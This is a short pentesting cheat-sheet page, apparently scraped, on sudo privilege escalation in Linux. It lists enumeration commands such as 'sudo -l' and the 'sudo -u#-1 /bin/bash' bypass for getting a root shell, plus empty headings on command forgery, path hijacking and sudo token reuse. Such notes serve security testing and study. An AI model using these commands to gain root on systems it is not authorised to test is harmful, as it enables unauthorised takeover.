Sudo Privilege Escalation
GTFOBins
Investigation
Version
sudo --versionsudo -u#-1 /bin/bashAs Another Users
sudo su root
sudo -u john whoami
# -s: run shell as target user
sudo -sList Privileges Commands
sudo -l
sudo -ll
# Specify hostname
sudo -h <host-name> -l
# Execute via the hostname
sudo -h <host-name> /bin/bashEdit Sudoers
Command Forgery (NOPASSWD)
Command Forgery (SETENV, NOPASSWD)
Command Path Hijacking
Shell in Prompt
Reuse Sudo Tokens
Last updated